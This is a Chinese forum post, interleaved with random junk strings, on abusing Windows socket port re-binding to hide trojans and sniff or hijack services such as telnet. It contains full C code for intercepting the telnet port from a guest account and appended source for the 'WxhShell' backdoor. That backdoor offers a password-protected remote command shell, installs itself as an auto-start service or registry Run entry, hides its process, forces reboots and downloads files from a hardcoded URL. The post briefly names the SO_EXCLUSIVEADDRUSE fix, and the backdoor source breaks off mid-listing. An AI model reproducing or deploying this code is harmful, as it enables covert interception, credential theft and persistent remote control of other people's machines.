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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: / JB4#i7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9#ft;c  
"ux]kfoT  
  saddr.sin_family = AF_INET; AvZ) 1(  
Wg^cj:&`u  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); dH|^\IQ  
e-9unnk  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); C`wI6!  
e6lOmgHn5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 K"7;Y#1g  
K/`RZ!  
  这意味着什么?意味着可以进行如下的攻击: z :v, Vu  
v Lv@Mo  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Cg pT(E\E  
m7vxzC*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'hO;sL  
`aL|qyrq#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 w9$8t9$|  
(PcK(C!}=\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  493i*j5r)l  
4iqmi<[("  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z4ioXl  
k&iDJt  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 MdZgS#`  
dM{~Ubb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 DA`sm  
#G` ,  
  #include mo[<4U ks  
  #include 2F @)nh  
  #include xc.D!Iav  
  #include    9ox|.68q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   '%C.([  
  int main() 4UjE*Aq  
  { Y>Hl0$:=  
  WORD wVersionRequested; uhB!k-ir  
  DWORD ret; orH0M!OtS!  
  WSADATA wsaData; ApYud?0b  
  BOOL val; x ;,xd  
  SOCKADDR_IN saddr; d`uO7jlm  
  SOCKADDR_IN scaddr; v9m;vWp  
  int err; +\GZ(!~  
  SOCKET s; lk1Gs{(qhH  
  SOCKET sc; @B[Cc`IN"  
  int caddsize; \&&(ytL  
  HANDLE mt; ) Zo_6%  
  DWORD tid;   9,f<Nb(\  
  wVersionRequested = MAKEWORD( 2, 2 ); 7G(f1Y  
  err = WSAStartup( wVersionRequested, &wsaData ); V}fKV6 v9  
  if ( err != 0 ) { > ' 0 ][~  
  printf("error!WSAStartup failed!\n"); AAq=,=:R<  
  return -1; F(9 Y/UXH  
  } .*-w UBr  
  saddr.sin_family = AF_INET; B36puz 0{  
   :dIQV(iW  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'z}M[h K]  
68<Z\WP  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~X<cG=p~u  
  saddr.sin_port = htons(23); 7[v@*/W@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V!77YFen %  
  { Y%:0|utQC  
  printf("error!socket failed!\n"); 5b1uD>,;y  
  return -1; m+2`"1IE[  
  } 4bev* [k  
  val = TRUE; $KWYe{#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 kgapTv>q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) z<%g #bo  
  { w&yGYHg  
  printf("error!setsockopt failed!\n"); "lz[zFnO  
  return -1; cPsn]U  
  } '&:1?i)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ( *>/w$%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 30 [#%_* o  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 FaE#\Q  
DwmU fZp  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) HXfXb ^~  
  { $dh4T";  
  ret=GetLastError(); *Ht*)l?  
  printf("error!bind failed!\n"); c|}K_~l_  
  return -1; 0w(T^G hZ  
  } !\-4gr?`!  
  listen(s,2); q@!'R{fu  
  while(1) "WbVCT'i  
  { yvd `nV  
  caddsize = sizeof(scaddr); !3I(4?G,  
  //接受连接请求 3<Z'F}lg  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1%spzkE 3P  
  if(sc!=INVALID_SOCKET) Fu4EEi  
  { Z@,PZ   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hzQ+9-qA  
  if(mt==NULL) G_M:0YI@  
  { Bhu@ 2KdA  
  printf("Thread Creat Failed!\n"); @>G&7r:U  
  break; 1<a@p}  
  } YWRE&MQ_  
  } n{^<&GWox  
  CloseHandle(mt); |O(-CDQe  
  } Xqg.kX  
  closesocket(s); w}j6 .r  
  WSACleanup(); | 7 m5P@X  
  return 0; B)rr7B  
  }   h41$|lonU%  
  DWORD WINAPI ClientThread(LPVOID lpParam) jF2[bzY4  
  { 7Aio`&^  
  SOCKET ss = (SOCKET)lpParam; V~T`&  
  SOCKET sc; z|3`0eWIG  
  unsigned char buf[4096]; *M wfod  
  SOCKADDR_IN saddr; to&N22a$  
  long num; CZJHE>  
  DWORD val; BbrT f"`  
  DWORD ret; Y9i9Uc.]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Nmp>UE,7[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -@ZzG uS(  
  saddr.sin_family = AF_INET; )X~Pr?52?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =a)iVXSB]  
  saddr.sin_port = htons(23); Iz}2 ^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [,<\RviI  
  { 2cCWQ"_,  
  printf("error!socket failed!\n"); /v"6BU  
  return -1; 8cK\myn.  
  } q%-&[%l  
  val = 100; lf%b0na?r  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >f\zCT%cf  
  { -BA"3 S  
  ret = GetLastError(); ~$4]HDg  
  return -1; -`!_h[   
  } B2~f;zy`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h; 'W :P  
  { F0&~ ?2nG  
  ret = GetLastError(); (PS$e~H s  
  return -1; vpm ]9>1[  
  } *o02!EYge  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) H]_WFiW-9  
  { Nush`?]J"_  
  printf("error!socket connect failed!\n"); Opv1B2  
  closesocket(sc); +_qh)HX  
  closesocket(ss); ytjK++(T5  
  return -1; v"u7~Dw# 1  
  } !8xKf*y  
  while(1) zmf"I[)  
  {  3L%WVCB  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,IIZ Xl@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 i8Fs0U4"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5<89Af&&K8  
  num = recv(ss,buf,4096,0); cMDRWh  
  if(num>0) Ia=_78MgZ  
  send(sc,buf,num,0); <S]KaDu^  
  else if(num==0) umQi  
  break; ?}vzLgp  
  num = recv(sc,buf,4096,0); -a  *NbH  
  if(num>0) w`L~#yu  
  send(ss,buf,num,0); yp=|7  
  else if(num==0) pC*BA<?Rg  
  break; ^ED"rMI  
  } Bk@)b`WR  
  closesocket(ss); !|B3i_n  
  closesocket(sc); 1"}B]5!  
  return 0 ; br0u@G  
  } p?Ed- S  
sFLcOPj-%  
B?SNea,I4  
========================================================== yeh8z:5Z O  
2;:lK":  
下边附上一个代码,,WXhSHELL !\CG,Ek  
CN7 k?JO<  
========================================================== Q0pzW:=s]  
(cvh3',  
#include "stdafx.h" &yE1U#J(  
$+Vmwd;  
#include <stdio.h> '!!e+\h#  
#include <string.h> Sv7 i! j  
#include <windows.h> Mx8Gu^FW.d  
#include <winsock2.h> On=u#DxQ  
#include <winsvc.h> DU;[btK>  
#include <urlmon.h> /D0RC  
8;TAb.r  
#pragma comment (lib, "Ws2_32.lib") t)9]<pN%  
#pragma comment (lib, "urlmon.lib") [s~JceUyX  
)ZGYhE  
#define MAX_USER   100 // 最大客户端连接数 [-\({<t3x  
#define BUF_SOCK   200 // sock buffer 25d\!3#E  
#define KEY_BUFF   255 // 输入 buffer  "Y7+{  
{AOG"T&<  
#define REBOOT     0   // 重启 f'&GFL=c  
#define SHUTDOWN   1   // 关机 YMT8p\ #rp  
0<g<GQ(E  
#define DEF_PORT   5000 // 监听端口 & g:%*>7P  
7i8eg*Gl  
#define REG_LEN     16   // 注册表键长度 GuT6K}~|D  
#define SVC_LEN     80   // NT服务名长度 X~lZOVmS  
#e/2C  
// 从dll定义API T|ZF/&XP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3:l DL2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9`B0fv Q&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XYe~G@Q Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,yICNtP  
/}Yqf`CZy  
// wxhshell配置信息 Hle\ON  
struct WSCFG { \eQ la8s  
  int ws_port;         // 监听端口 s2%V4yy%  
  char ws_passstr[REG_LEN]; // 口令 8h|M!/&2  
  int ws_autoins;       // 安装标记, 1=yes 0=no `mzb(b E  
  char ws_regname[REG_LEN]; // 注册表键名 2{-!E ^g  
  char ws_svcname[REG_LEN]; // 服务名 Vo,[EVL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Edw2W8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QBoFpxh=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;o[rQ6+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f])M04<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NPm;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9JPEj-3`g  
ocF>LR%P  
}; jv =EheD  
!EOQhh  
// default Wxhshell configuration mQ}Gh_'ps  
struct WSCFG wscfg={DEF_PORT, kn}z gSO  
    "xuhuanlingzhe", {) xWD%  
    1, w?*z^y@  
    "Wxhshell", w$j{Hp6m  
    "Wxhshell", DzC Df@TB"  
            "WxhShell Service", 6\4Z\82  
    "Wrsky Windows CmdShell Service", l&L,7BX  
    "Please Input Your Password: ", RNTa XR+Zn  
  1, rVH6QQF=\  
  "http://www.wrsky.com/wxhshell.exe", ~-_i  
  "Wxhshell.exe" 7X}TB\N1  
    }; 1a$IrQE  
edijfhn  
// 消息定义模块 J!hFN]M<<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TQf L%JT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BC! 6O/kr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U]hF   
char *msg_ws_ext="\n\rExit."; hv>KX  
char *msg_ws_end="\n\rQuit."; dv~pddOs  
char *msg_ws_boot="\n\rReboot..."; H_w%'v&  
char *msg_ws_poff="\n\rShutdown..."; l4vTU=  
char *msg_ws_down="\n\rSave to "; ?^9BMQ+  
R4{-Qv#8 q  
char *msg_ws_err="\n\rErr!"; jvHFFSK  
char *msg_ws_ok="\n\rOK!"; *0y{ ~@  
6)}B"Qd  
char ExeFile[MAX_PATH]; K]/Od  
int nUser = 0; 0C$8g Y*  
HANDLE handles[MAX_USER]; BLn_u,3  
int OsIsNt; (}smW_ `5  
~$<UE}qp  
SERVICE_STATUS       serviceStatus; sN~\+_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Nxk(mec"  
e[1>(l}Ss  
// 函数声明 c.%.\al8oW  
int Install(void); icgJ;Q 5  
int Uninstall(void);  D!F 2l_  
int DownloadFile(char *sURL, SOCKET wsh); d'"r("w#  
int Boot(int flag); E{y1S\7K  
void HideProc(void); <*(^{a. O  
int GetOsVer(void); :,S98z#  
int Wxhshell(SOCKET wsl); oC*=JJe,  
void TalkWithClient(void *cs); gL3iw!7  
int CmdShell(SOCKET sock); Pbn!KX~F~  
int StartFromService(void); W:`#% :C  
int StartWxhshell(LPSTR lpCmdLine); @gY\;[#.  
tY+$$GSQj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vXv;1T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [AS}RV  
dJ ~Zr)>  
// 数据结构和表定义 lCIDBBjy^  
SERVICE_TABLE_ENTRY DispatchTable[] = kn"q:aD  
{ !'G~k+  
{wscfg.ws_svcname, NTServiceMain}, "Sridh?  
{NULL, NULL} bT )]'(Xy  
}; Xg7|JS!  
6N~q`;p0  
// 自我安装 A"uULfnk  
int Install(void) K j3?ve~  
{ ' cBBt  
  char svExeFile[MAX_PATH]; $ s-Y%gc  
  HKEY key; PuL<^aJ  
  strcpy(svExeFile,ExeFile); Z=?aEU$7  
S`!-Cal`n  
// 如果是win9x系统,修改注册表设为自启动 -!e7L>w  
if(!OsIsNt) { s?rBE.g@}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZnW@YC#9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W*N$'%  
  RegCloseKey(key); IH9.F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lg$zGa?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d0'HDVd  
  RegCloseKey(key); <S?#@F\"S  
  return 0; [?k8}B)mHB  
    } o-C#|t3hH  
  } @7oL#-  
} lDxc`S  
else { m GjN_  
 _; Y`  
// 如果是NT以上系统,安装为系统服务 Iu[|<Cx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lpB3&H8&  
if (schSCManager!=0) %NHkDa!  
{ 2]cRXJ7h  
  SC_HANDLE schService = CreateService bBc[bc>R  
  ( O+vS|  
  schSCManager, ;30nd=  
  wscfg.ws_svcname, XH}'w9VynR  
  wscfg.ws_svcdisp, PG~$D];  
  SERVICE_ALL_ACCESS, CW&.NT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eHiy,IN  
  SERVICE_AUTO_START, 47K1$3P  
  SERVICE_ERROR_NORMAL, tDg}Ys=4K>  
  svExeFile, )2IH 5  
  NULL, c!K]J  
  NULL, *Hz^K0:8(  
  NULL, f+_h !j  
  NULL, Z?5V4F:f  
  NULL J aTp} #  
  ); 457\&  
  if (schService!=0) ` Ag{)  
  { **3 z;58i  
  CloseServiceHandle(schService); 'Ft0Ry<OL  
  CloseServiceHandle(schSCManager); vw,rF`LjZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p Z: F:  
  strcat(svExeFile,wscfg.ws_svcname); TS2ZF{m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Uu 8,@W+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #Lv2Zoi>G  
  RegCloseKey(key); 6 Orum/|h  
  return 0; *z*uEcitW  
    } c2t=_aAIPQ  
  } j>-gO,v, y  
  CloseServiceHandle(schSCManager); 4%nE*H%  
} F8:vDv  
} Zwz&rIQpT  
",7Q   
return 1; *!s;"U  
} i.D3'l  
1i[FY?6`dh  
// 自我卸载 nw>8GivO  
int Uninstall(void) 9RN-suE[  
{ T&4qw(\G  
  HKEY key; SN7"7joP<  
SCvVt  
if(!OsIsNt) { /+Lfrt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,(8;y=wux  
  RegDeleteValue(key,wscfg.ws_regname); ( +pLA"xq  
  RegCloseKey(key); 26&'X+n&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &0 >Loja`^  
  RegDeleteValue(key,wscfg.ws_regname); R}^~^#  
  RegCloseKey(key); ?qCK7 $ j  
  return 0; "#[!/\=?:  
  } MjlP+; !  
} $YN6<5R)  
} =6"2UC&  
else { X/iT)R]b  
vVE2m=!v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1N7Kv4,  
if (schSCManager!=0) ]QzGE8jp*  
{ a}%#*J)!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =|3fs7  
  if (schService!=0) %3NqSiMs  
  { <B9C*M"4%  
  if(DeleteService(schService)!=0) { *s9C!w YMZ  
  CloseServiceHandle(schService); 0"CG7Vg,zh  
  CloseServiceHandle(schSCManager); ^*P%=>zO  
  return 0; &|f@$ff  
  } yKYTi3_(  
  CloseServiceHandle(schService); Hemq +]6^  
  } 5R(/Uiv3F  
  CloseServiceHandle(schSCManager); ZI=%JU(  
} O8B\{T1  
} &f ^,la  
\"X!2  
return 1; bGc~Wr|  
} Vx~,Uex0+  
b0lq\9  
// 从指定url下载文件 $2W%2rZ  
int DownloadFile(char *sURL, SOCKET wsh) (p2K36,9m  
{ `s\?w5[  
  HRESULT hr; ZosP(Tdq  
char seps[]= "/"; j#cYS*^H  
char *token; N[s}qmPha  
char *file; -$\+' \  
char myURL[MAX_PATH]; b )B? F  
char myFILE[MAX_PATH]; {q"OM*L(  
{NHdyc$  
strcpy(myURL,sURL); DRcNdO/1E  
  token=strtok(myURL,seps); ;kY(<{2  
  while(token!=NULL) &*+'>UEe5  
  { "rx-_uK*  
    file=token; O^oWG&Y;v  
  token=strtok(NULL,seps); vQ;Ex  
  } 9I6a"PGDb  
H Z'_r cv  
GetCurrentDirectory(MAX_PATH,myFILE); 0u;4%}pD  
strcat(myFILE, "\\"); |Y?H A&  
strcat(myFILE, file); ;M)QwF1  
  send(wsh,myFILE,strlen(myFILE),0); z6*X%6,8  
send(wsh,"...",3,0); r"P|dlV-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eA E`# t  
  if(hr==S_OK) 7S}_F^  
return 0; 0*f)=Q'  
else [ucpd  
return 1; '.:z&gSqx0  
6}d.5^7lr  
} o,_? ^'@  
n*2UnKaJ  
// 系统电源模块 !@}wDt  
int Boot(int flag) I}1NB3>^  
{ wOU_*uY@6'  
  HANDLE hToken; ML|FQ  
  TOKEN_PRIVILEGES tkp; 02 c':a=7  
RZXjgddL  
  if(OsIsNt) { \G*0"%!U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >CHrg]9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lhy*h_>  
    tkp.PrivilegeCount = 1; ?l9XAW t\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D]zwl@sRX:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nAv#?1cjz  
if(flag==REBOOT) { aDU<wxnSvO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k$blEa4  
  return 0; Ff)8Q.m  
} i<#QW'R(  
else { .%xn&3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A1O' |7X  
  return 0; MN\HDKN  
} 4K\G16'$v  
  } 8Vr%n2M  
  else { o~`/_ +  
if(flag==REBOOT) { nLXlU*ES  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fdFo#P  
  return 0; T;r2.Pupn  
} pR=@S>!|  
else { Z?h~{Mg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G?O1>?4C  
  return 0; nT7%j{e=L  
} r>>%2Z-P  
} T&6l$1J  
|fK1/<sz#  
return 1; Te"ioU?.  
} $a.JSXyxL  
h9}+l  
// win9x进程隐藏模块 Hj^1or3R]  
void HideProc(void) H\ F :95  
{ KcWN,!G  
l+KY)6o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *4\:8  
  if ( hKernel != NULL ) ua3~iQj-  
  { !fE`4<|?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "\: `/k3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t}r ' k/[  
    FreeLibrary(hKernel); 01t1Z}!y  
  } ^aItoJq  
0"<H;7K#W  
return; p`olCp'  
} y0L_"e/  
u^^[Q2LDU}  
// 获取操作系统版本 BC^ :=  
int GetOsVer(void) ?:Uv[|S#>  
{ {$0mwAOH "  
  OSVERSIONINFO winfo; DX#Nf""Pw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <cps2*'  
  GetVersionEx(&winfo); em%4Ap  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ni9/}bb  
  return 1; <? q?Mn  
  else YvaK0p0Z  
  return 0; "H'B*vc-  
} J!dm-L  
D+lAhEN  
// 客户端句柄模块 .s?L^Z^  
int Wxhshell(SOCKET wsl) PxvyN_B#>  
{ P) Jgs  
  SOCKET wsh; L +b6!2O,  
  struct sockaddr_in client; X _q\Sg  
  DWORD myID; q+yQwX{  
f\|w '  
  while(nUser<MAX_USER) n@<YI  
{ }|h# \$w  
  int nSize=sizeof(client); Ua:}Vn&!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^UP`%egR  
  if(wsh==INVALID_SOCKET) return 1; &GpRI(OB/+  
P78g /p T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @a! #G  
if(handles[nUser]==0) Dj"F\j 1  
  closesocket(wsh); NVkV7y X]  
else `KZm0d{H  
  nUser++; 5'OrHk;u  
  } 3#LlDC_WC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %z=le7  
E>6MeO  
  return 0; zVViLUwG  
} 5%Y3 Kwyy  
{&&z-^  
// 关闭 socket ?g_3 [Fk  
void CloseIt(SOCKET wsh) ; 5*&xz  
{ 7r6.n61F  
closesocket(wsh); j\eI0b @*  
nUser--; ">\?&0  
ExitThread(0); 'g}!  
} <$D`Z-6  
L^1NY3=$  
// 客户端请求句柄 R)c?`:iUB  
void TalkWithClient(void *cs) /2&c$9=1  
{ LQ@"Xe]5  
;YaQB#GK%  
  SOCKET wsh=(SOCKET)cs; 6fkRrD  
  char pwd[SVC_LEN]; 0CHH)Bku  
  char cmd[KEY_BUFF]; 5?f ^Rz  
char chr[1]; Akq2 d;  
int i,j; NDN7[7E  
nGC/R&  
  while (nUser < MAX_USER) { ^}RCoE  
\;,_S+Fz8  
if(wscfg.ws_passstr) { _P!m%34|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bL0yuAwF2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xVw9v6@`h  
  //ZeroMemory(pwd,KEY_BUFF); 2R[:]-b  
      i=0; sU=H&D99  
  while(i<SVC_LEN) { D(~U6SR  
%Tfbsyf%f  
  // 设置超时 _qF+tm  
  fd_set FdRead; esJ~;~[@(r  
  struct timeval TimeOut; v&6-a*<Z  
  FD_ZERO(&FdRead); 8'[~2/  
  FD_SET(wsh,&FdRead); (^ J I%>  
  TimeOut.tv_sec=8; i}cRi&2[  
  TimeOut.tv_usec=0; ncaT?~u j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); atj(eg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?al'F  q  
4VHn  \  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ><4<yj1  
  pwd=chr[0]; jVEGj5F;N  
  if(chr[0]==0xd || chr[0]==0xa) { 0Fq} N  
  pwd=0; :a!^   
  break; T;4NRC  
  } P?%s #I:  
  i++; F|`Hm  
    }  \__i  
kpuz]a7pK  
  // 如果是非法用户,关闭 socket :@yEQ#nFp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Jx:Y-$  
} A@`}c,G  
L7l FtX+b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]>!K3kB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }H53~@WP>  
9p]QM)M  
while(1) { HVRZ[Y<^  
s9 mx  
  ZeroMemory(cmd,KEY_BUFF); p#-Z4-`  
td$E/h=3  
      // 自动支持客户端 telnet标准   IYv`IS"  
  j=0; \$K20)  
  while(j<KEY_BUFF) { 'B |JAi?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6%'QjwM_  
  cmd[j]=chr[0]; MxKS4k  
  if(chr[0]==0xa || chr[0]==0xd) { /l3V3B7  
  cmd[j]=0; GblA9F7  
  break; Y/F6\oh  
  } -E[Kml~U  
  j++; 9+|$$)  
    } Q3'llOx  
}PlRx6r@  
  // 下载文件 jRa43ck  
  if(strstr(cmd,"http://")) { ~g91Pr   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #<fRE"v:Q  
  if(DownloadFile(cmd,wsh)) p%ki>p )E|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &$+AXzn  
  else }{Pp]*I<A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4Z3su^XR  
  } ijv(9mR  
  else { xo^b&ktQd  
2DA]i5  
    switch(cmd[0]) { 3Tcms/n  
  Da*?x8sSL  
  // 帮助 w7L{_aom  
  case '?': { \  #F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +Ze} B*0  
    break; f_OQ./`  
  } \doUTr R  
  // 安装 G[PtkPSJ  
  case 'i': { ScOK)nL"  
    if(Install()) 38B2|x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4> K42m  
    else =jN.1}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b=C*W,Q_#  
    break; As&Sq-NWf  
    } ZvM(Q=^  
  // 卸载 <_L,t 1H{  
  case 'r': { qz_7%c]K[  
    if(Uninstall()) LBeF&sb6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6q\bB  
    else w{8xpAqm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K-)] 1BG  
    break; (XTG8W sN  
    } k=$TGqQY?  
  // 显示 wxhshell 所在路径 ;nfdGB  
  case 'p': { FjHv   
    char svExeFile[MAX_PATH]; z _$%-6  
    strcpy(svExeFile,"\n\r"); BKCiIfkZ  
      strcat(svExeFile,ExeFile); 5Pc;5 o0C  
        send(wsh,svExeFile,strlen(svExeFile),0); ^CYl\.Y@  
    break; Qp5VP@t  
    } ;+R&}[9,A)  
  // 重启 :LQYo'@yB  
  case 'b': { {lzWrUGO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @D[_}JE  
    if(Boot(REBOOT)) ,<_A2t 2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B:Oa}/H   
    else { #P9~}JB3,  
    closesocket(wsh); )u&|_&g{}J  
    ExitThread(0); d'gfQlDny  
    } nF]W,@u"h  
    break; NN{?z!  
    } x;KOqfawv  
  // 关机 AR%4D3Dma  
  case 'd': { Tk[ $5u*,  
